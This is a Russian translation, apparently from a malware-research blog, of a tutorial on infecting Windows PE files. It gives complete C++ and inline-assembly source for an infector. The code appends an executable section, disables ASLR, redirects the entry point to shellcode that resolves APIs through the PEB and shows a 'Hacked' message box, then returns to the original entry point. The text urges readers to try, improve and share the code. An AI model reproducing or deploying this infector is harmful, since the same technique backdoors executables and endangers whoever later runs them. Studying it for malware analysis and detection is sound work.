Order Of Six Angles

Main Logo

A security researcher's blog about reverse-engineering, malware and malware analysis

Home | RU | Translations | Tools | Art | About

11 June 2020

tags: windows - malware

Еще один детальный гайд по заражению PE

оригинал

Я передаю привет всем друзьям сайта rohitab.com!

Сегодня я хочу вам объяснить подробно, что такое заражение PE. Тема довольна сложная, но в конце концов интересная!

Требования, чтобы понять это руководство:

Начнем!

Для начала мы добавим новую, пустую PE секцию. Получив путь к файлу, мы полностью его читаем, проверяем DOS сигнатуру, чтобы убедиться в валидности PE, проверяем, является ли он исполняемым x86 файлом (это очень важно, так как мы будем внедрять x86 опкоды в пустую секцию), проверяем, существует ли уже секция, которую мы хотим создать, и если все проверки пройдены - мы создаем новую секцию, с заданным размером и характеристиками. Код, который найдете далее, прокомментирован и хорошо объясняет происходящее.

Все это делается функцией AddSection. Стоит отметить, что метод описанный здесь использует файл на диске, без маппинга его в память и производит чтение/запись там же. Он также сильно опирается на файловые указатели.

Вторая и самая сложная часть - это добавление кода в только что созданную секцию. Чтобы доказать работоспособность этого метода, я делаю следующее:

  1. Добавляю новую секцию
  2. Берем и сохраняем адрес оригинальной точки входа из Optional Header (это адрес, откуда программа начинает работу)
  3. Меняем OEP (оригинальную точку входа), чтобы она указывала на нашу новую секцию, поэтому когда пользователь запустит программу, она начнет выполнять наш код и делать все что мы захотим ДО того, как начнется выполнение оригинального кода, потом идет возврат к оригинальной точке входа и программа работает, как ни в чем небывало! В данном конкретном случае, я показываю всплывающее окно с надписью “Hacked”!

ВАЖНО

Так как kernel32 загружается каждый раз при перезагрузке по разным адресам, нам надо ДИНАМИЧЕСКИ получать ее базовый адрес из PEB, чтобы мы могли найти функцию в таблице экспорта под названием LoadLibraryA, вызвать ее с аргументом "user32.dll", и потом достать адрес функции MessageBoxA из user32.dll, используя GetProcAddress. ВСЕ ЭТО ДОЛЖНО БЫТЬ СДЕЛАНО ВНУТРИ НОВОЙ PE СЕКЦИИ, КОТОРУЮ МЫ СОЗДАЛИ !!!

Каким образом мы можем это сделать? Нам надо получить опкоды из кода ассемблерных вставок и затем скопировать их в новую секцию.

Это можно сделать с помощью шикарного кода, написанного wap2k, который я называю self-read (self-read означает, что код сам вычисляет смещение секции по середине. Далее я просто буду использовать словосочетание self-read - прим. пер.):

DWORD start(0), end(0);
    __asm{
        mov eax, loc1
        mov[start], eax
        // мы пропускаем вторую ассемблерную вставку (__asm), 
        //чтобы не исполнять ее в самом коде инфектора (инфектор от слова infect - заражать)
        jmp over
        loc1:
    }
 
    __asm{
        // опкоды, который мы хотим создать и скопировать в новую секцию
    }
 
    __asm{
        over:
        mov eax, loc2
        mov [end],eax
        loc2:
    }

Мы создаем две метки в коде. Одна указывает на начало секции с опкодами, другая на конец. Вторая ассемблерная вставка (__asm в середине) - это что нас интересует. Когда мы отнимаем адрес конца от адреса начала - мы получаем смещение, по которому мы должны скопировать подходящий код (в середине), без копирования остальных опкодов, чтобы не нарушить целостность внедряемого кода.

Мы перепрыгиваем код в середине, чтобы не исполнять его при заражении, используя инструкцию jmp (jmp на метку "over").

Теперь, внутри секции в середине, мы ищем базовый адрес kernel32.dll, ищем функции LoadLibraryA и GetProcAddress для получения адреса MessageBoxA и вызова его с нужным текстом!

После того, как мы нашли и вызвали эти функции (вызов и поиск производится зараженным PE, надеюсь вы это уже поняли), нам надо прыгнуть назад к оригинальному коду программы (входной точке)!

Так как значение OEP (оригинальная точка входа) хранится в переменной внутри кода инфектора и если мы хотим ссылаться на него из опкодов, то self-read код заполнит недействительный адрес, так как мы укажем на то, что существует только здесь, а не на секцию данных зараженной программы. Решение: мы поместим заглушку со значением 0xdeadbeef, чтобы позже перезаписать туда OEP.

Мы будем перезаписывать заглушку вот так:

if (*invalidEP == 0xdeadbeef){
            DWORD old;
            VirtualProtect((LPVOID)invalidEP, 4, PAGE_EXECUTE_READWRITE, &old);
            *invalidEP = OEP;
        }

Код прокомментирован, но я буду подробно объяснять проблемные участки! Я сейчас на работе и писал это руководство быстро, как только мог, поэтому буду рассказывать подробно !!!

Вот сам код:

#include <windows.h>
#include <imagehlp.h>
#include <winternl.h>
#include <stdio.h>
#pragma comment(lib, "imagehlp")
 
DWORD align(DWORD size, DWORD align, DWORD addr){
    if (!(size % align))
        return addr + size;
    return addr + (size / align + 1) * align;
}
 
int AddSection(char *filepath, char *sectionName, DWORD sizeOfSection){

    HANDLE file = CreateFile(filepath, GENERIC_READ | GENERIC_WRITE, 0, 
        NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);

    if (file == INVALID_HANDLE_VALUE){
        CloseHandle(file);
        return 0;
    }
    DWORD fileSize = GetFileSize(file, NULL);
    if (!fileSize){
        CloseHandle(file);
        // пустой файл, что делает его недействительным
        return -1;
    }
    // теперь мы знаем сколько памяти нам надо для буфера
    BYTE *pByte = new BYTE[fileSize];
    DWORD dw;
    // читаем весь файл, чтобы получить доступ к информации о PE
    ReadFile(file, pByte, fileSize, &dw, NULL);
 
    PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)pByte;
    if (dos->e_magic != IMAGE_DOS_SIGNATURE){
        CloseHandle(file);
        return -1; // невалидный PE
    }
    PIMAGE_NT_HEADERS NT = (PIMAGE_NT_HEADERS)(pByte + dos->e_lfanew);
    if (NT->FileHeader.Machine != IMAGE_FILE_MACHINE_I386){
        CloseHandle(file);
        return -3;// 64 битный файл
    }
    PIMAGE_SECTION_HEADER SH = IMAGE_FIRST_SECTION(NT);
    WORD sCount = NT->FileHeader.NumberOfSections;
    
    // проходим по всем доступным секциям и смотрим, 
    // существует ли уже та, которую мы хотим добавить
    for (int i = 0; i < sCount; i++){
        PIMAGE_SECTION_HEADER x = SH + i;
        if (!strcmp((char *)x->Name, sectionName)){
            //PE секция уже существует
            CloseHandle(file);
            return -2;
        }
    }
 
    ZeroMemory(&SH[sCount], sizeof(IMAGE_SECTION_HEADER));
    CopyMemory(&SH[sCount].Name, sectionName, 8);
    // Мы используем 8 байт для имени секции, потому что это максимально разрешенная длина
 
    // вставляем всю необходимую информацию о нашей новой PE секции
    SH[sCount].Misc.VirtualSize = align(sizeOfSection, NT->OptionalHeader.SectionAlignment, 0);

    SH[sCount].VirtualAddress = align(SH[sCount - 1].Misc.VirtualSize,
         NT->OptionalHeader.SectionAlignment, SH[sCount - 1].VirtualAddress);

    SH[sCount].SizeOfRawData = align(sizeOfSection, NT->OptionalHeader.FileAlignment, 0);

    SH[sCount].PointerToRawData = align(SH[sCount - 1].SizeOfRawData, 
        NT->OptionalHeader.FileAlignment, SH[sCount - 1].PointerToRawData);

    SH[sCount].Characteristics = 0xE00000E0;
 
    /*
    0xE00000E0 = IMAGE_SCN_MEM_WRITE |
                 IMAGE_SCN_CNT_CODE  |
                 IMAGE_SCN_CNT_UNINITIALIZED_DATA  |
                 IMAGE_SCN_MEM_EXECUTE |
                 IMAGE_SCN_CNT_INITIALIZED_DATA |
                 IMAGE_SCN_MEM_READ
    */
 
    SetFilePointer(file, SH[sCount].PointerToRawData + SH[sCount].SizeOfRawData, NULL, FILE_BEGIN);
    // устанавливаем конец файла на последнюю секции + размер файла
    SetEndOfFile(file);
    // теперь меняем размер образа, чтобы он соответствовал нашим модификациям,
    // добавлением новой секции. Размер теперь стал больше
    NT->OptionalHeader.SizeOfImage = SH[sCount].VirtualAddress + SH[sCount].Misc.VirtualSize;
    // так как мы добавляем новую секцию, то меняем их количество
    NT->FileHeader.NumberOfSections += 1;
    SetFilePointer(file, 0, NULL, FILE_BEGIN);
    // и в конечном итоге записываем результат наших модификаций в файл
    WriteFile(file, pByte, fileSize, &dw, NULL);
    CloseHandle(file);
    return 1;
}
 
bool AddCode(char *filepath){
    HANDLE file = CreateFile(filepath, GENERIC_READ | GENERIC_WRITE,
         0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);

    if (file == INVALID_HANDLE_VALUE){
        CloseHandle(file);
        return false;
    }
    DWORD filesize = GetFileSize(file, NULL);
    BYTE *pByte = new BYTE[filesize];
    DWORD dw;
    ReadFile(file, pByte, filesize, &dw, NULL);
    PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)pByte;
    PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)(pByte + dos->e_lfanew);
 
    // ОЧЕНЬ ВАЖНО
    // ЕСЛИ ВКЛЮЧЕН ASLR - ЭТО РАБОТАТЬ НЕ БУДЕТ !!!
    // Решение: Отключайте ASLR =))
    nt->OptionalHeader.DllCharacteristics &= ~IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE;
 
    // так как мы добавили новую секцию, она будет последней
    // поэтому мы должны добраться до последней секции и вставить наши секретные данные :)
    PIMAGE_SECTION_HEADER first = IMAGE_FIRST_SECTION(nt);
    PIMAGE_SECTION_HEADER last = first + (nt->FileHeader.NumberOfSections - 1);
 
    SetFilePointer(file, 0, 0, FILE_BEGIN);
    //сохраняем оригинальную точку входа
    DWORD OEP = nt->OptionalHeader.AddressOfEntryPoint + nt->OptionalHeader.ImageBase;
 
    // мы меняем оригинальную точку входа на адрес последней секции
    nt->OptionalHeader.AddressOfEntryPoint = last->VirtualAddress;
    WriteFile(file, pByte, filesize, &dw, 0);
 
    // получаем опкоды
    DWORD start(0), end(0);
    __asm{
        mov eax, loc1
        mov[start], eax
        //мы пропускаем вторую ассемблерную вставку (__asm)
        //чтобы не исполнять ее в самом коде инфектора
        jmp over
        loc1:
    }
 
    __asm{
        /*
            Смысл этого куска кода в чтении базового адреса kernel32.dll
            из PED, просмотр таблицы экспорта (EAT) и поиск функций
        */
        mov eax, fs:[30h]
        mov eax, [eax + 0x0c]; 12
        mov eax, [eax + 0x14]; 20
        mov eax, [eax]
        mov eax, [eax]
        mov eax, [eax + 0x10]; 16
 
        mov   ebx, eax; // Берем базовый адрес kernel32
        mov   eax, [ebx + 0x3c]; // VMA заголовка PE
        //(virtual memory address - адрес виртуальной памяти - прим.пер.) 
        mov   edi, [ebx + eax + 0x78]; // Относительное смещение таблицы экспорта
        add   edi, ebx; // VMA таблицы экспорта
        mov   ecx, [edi + 0x18]; // количество имен
 
        mov   edx, [edi + 0x20]; // Относительное смещение таблицы имен
        add   edx, ebx; // VMA таблицы имен
        // теперь давайте посмотрим на функцию LoadLibraryA
 
        LLA :
        dec ecx
            mov esi, [edx + ecx * 4]; //сохраняем относительное смещение имени
            add esi, ebx; //Устанавливаем в esi - VMA текущего имени 
            cmp dword ptr[esi], 0x64616f4c; //обратный порядок байт L(4c)o(6f)a(61)d(64)
            je LLALOOP1
        LLALOOP1 :
        cmp dword ptr[esi + 4], 0x7262694c
            ;L(4c)i(69)b(62)r(72)
            je LLALOOP2
        LLALOOP2 :
        cmp dword ptr[esi + 8], 0x41797261; //третье слово = a(61)r(72)y(79)A(41)
            je stop; //прыгаем на метку stop, потому что мы нашли его
            jmp LLA; //Load Libr aryA
        stop :
        mov   edx, [edi + 0x24];  // Таблица относительных порядковых номеров функций
            add   edx, ebx; //Таблица порядковых номеров функций
            mov   cx, [edx + 2 * ecx];// порядковый номер функции
            mov   edx, [edi + 0x1c];// Таблица относительных адресов смещений
            add   edx, ebx;// Таблица адресов
            mov   eax, [edx + 4 * ecx]; //смещение порядкового номера
            add   eax, ebx; // VMA функции
            // теперь EAX содержит адрес LoadLibraryA
 
 
            sub esp, 11
            mov ebx, esp
            mov byte ptr[ebx], 0x75; u
            mov byte ptr[ebx + 1], 0x73; s
            mov byte ptr[ebx + 2], 0x65; e
            mov byte ptr[ebx + 3], 0x72; r
            mov byte ptr[ebx + 4], 0x33; 3
            mov byte ptr[ebx + 5], 0x32; 2
            mov byte ptr[ebx + 6], 0x2e; .
            mov byte ptr[ebx + 7], 0x64; d
            mov byte ptr[ebx + 8], 0x6c; l
            mov byte ptr[ebx + 9], 0x6c; l
            mov byte ptr[ebx + 10], 0x0
 
            push ebx
 
            //вызываем LoadLibraryA с аргументом user32.dll
            call eax;
            add esp, 11
            //сохраняем адрес возврата LoadLibraryA для последующего использования в GetProcAddress
            push eax
 
 
            // снова ищем функцию GetProcAddress
            mov eax, fs:[30h]
            mov eax, [eax + 0x0c]; 12
            mov eax, [eax + 0x14]; 20
            mov eax, [eax]
            mov eax, [eax]
            mov eax, [eax + 0x10]; 16
 
            mov   ebx, eax; //базовый адрес kernel32
            mov   eax, [ebx + 0x3c]; //VMA заголовка PE
            mov   edi, [ebx + eax + 0x78]; //Относительное смещение таблицы экспорта
            add   edi, ebx; //VMA таблицы экспорта
            mov   ecx, [edi + 0x18]; //Количество имен
 
            mov   edx, [edi + 0x20]; //Относительное смещение таблицы имен
            add   edx, ebx; //VMA таблицы имен
        GPA :
        dec ecx
            mov esi, [edx + ecx * 4]; //сохраняем относительное смещение имени
            add esi, ebx; //Устанавливаем в esi - VMA текущего имени 
            cmp dword ptr[esi], 0x50746547; //обратный порядок байт G(47)e(65)t(74)P(50)
            je GPALOOP1
        GPALOOP1 :
        cmp dword ptr[esi + 4], 0x41636f72
            // помните про обратный порядок : ) r(72)o(6f)c(63)A(41)
            je GPALOOP2
        GPALOOP2 :
        cmp dword ptr[esi + 8], 0x65726464; //третье слово = d(64)d(64)r(72)e(65)
            // нет необходимости искать далее, 
            // так как больше нет функций, начинающихся с GetProcAddre
            je stp; //если нашли, то прыгаем на метку stp
            jmp GPA
        stp :
            mov   edx, [edi + 0x24]; //Таблица относительных порядковых номеров функций
            add   edx, ebx; //Таблица порядковых номеров функций
            mov   cx, [edx + 2 * ecx]; //порядковый номер функции
            mov   edx, [edi + 0x1c]; //Таблица относительных адресов смещений
            add   edx, ebx; //Таблица адресов
            mov   eax, [edx + 4 * ecx]; //смещение порядкового номера
            add   eax, ebx;  //VMA функции
            // теперь EAX содержит адрес GetProcAddress
            mov esi, eax
 
            sub esp, 12
            mov ebx, esp
            mov byte ptr[ebx], 0x4d //M
            mov byte ptr[ebx + 1], 0x65 //e
            mov byte ptr[ebx + 2], 0x73 //s
            mov byte ptr[ebx + 3], 0x73 //s
            mov byte ptr[ebx + 4], 0x61 //a
            mov byte ptr[ebx + 5], 0x67 //g
            mov byte ptr[ebx + 6], 0x65 //e
            mov byte ptr[ebx + 7], 0x42 //B
            mov byte ptr[ebx + 8], 0x6f //o
            mov byte ptr[ebx + 9], 0x78 //x
            mov byte ptr[ebx + 10], 0x41 //A
            mov byte ptr[ebx + 11], 0x0
 
            /*
                Достаем значение, сохраненное после возврата LoadLibraryA
                Вызов GetProcAddress выглядит так:
                esi(saved eax{address of user32.dll module}, ebx {the string "MessageBoxA"})
            */
 
            mov eax, [esp + 12]
            push ebx; //MessageBoxA
            push eax; //базовый адрес user32.dll, который получили с помощью LoadLibraryA
            call esi; //адрес GetProcAddress :))
            add esp, 12
 
        sub esp, 8
        mov ebx,esp
        mov byte ptr[ebx], 72; //H
        mov byte ptr[ebx + 1], 97; //a
        mov byte ptr[ebx + 2], 99; //c
        mov byte ptr[ebx + 3], 107; //k
        mov byte ptr[ebx + 4], 101; //e
        mov byte ptr[ebx + 5], 100; //d
        mov byte ptr[ebx + 6], 0
 
        push 0
        push 0
        push ebx
        push 0
        call eax
        add esp, 8
 
        mov eax, 0xdeadbeef ; //Оригинальная точка входа
        jmp eax
    }
 
    __asm{
        over:
        mov eax, loc2
        mov [end],eax
        loc2:
    }
 
    byte mac[1000];
    byte *fb = ((byte *)(start));
    DWORD *invalidEP;
    DWORD i = 0;
 
    while (i < ((end - 11) - start)){
        invalidEP = ((DWORD*)((byte*)start + i));
        if (*invalidEP == 0xdeadbeef){
            /*
                Так как значение OEP (оригинальная точка входа) хранится в переменной внутри 
                кода инфектора и если мы хотим ссылаться на него из опкодов, то self-read код 
                заполнит недействительный адрес, так как мы укажем на то, что существует только 
                здесь, а не на раздел данных зараженной программы. Решение: мы поместим 
                заглушку со значением 0xdeadbeef, чтобы позже перезаписать туда OEP.
            */
            DWORD old;
            VirtualProtect((LPVOID)invalidEP, 4, PAGE_EXECUTE_READWRITE, &old);
            *invalidEP = OEP;
        }
        mac[i] = fb[i];
        i++;
    }
    SetFilePointer(file, last->PointerToRawData, NULL, FILE_BEGIN);
    WriteFile(file, mac, i, &dw, 0);
    CloseHandle(file);
    return true;
}
 
void main(){
    char *file = "C:\\Users\\M\\Desktop\\Athena.exe";
    int res = AddSection(file, ".ATH", 400);
    switch (res){
    case 0:
        printf("Error adding section: File not found or in use!\n");
        break;
    case 1:
        printf("Section added!\n");
        if (AddCode(file))
            printf("Code written!\n");
        else
            printf("Error writting code!\n");
        break;
    case -1:
        printf("Error adding section: Invalid path or PE format!\n");
        break;
    case -2:
        printf("Error adding section: Section already exists!\n");
        break;
    case -3:
        printf("Error: x64 PE detected! This version works only with x86 PE's!\n");
        break;
    }
}

Пробуйте, улучшайте, делайте свое и самое главное: ДЕЛИТЕСЬ ЭТИМ С ДРУГИМИ!

Счастливого кодинга!

Вверх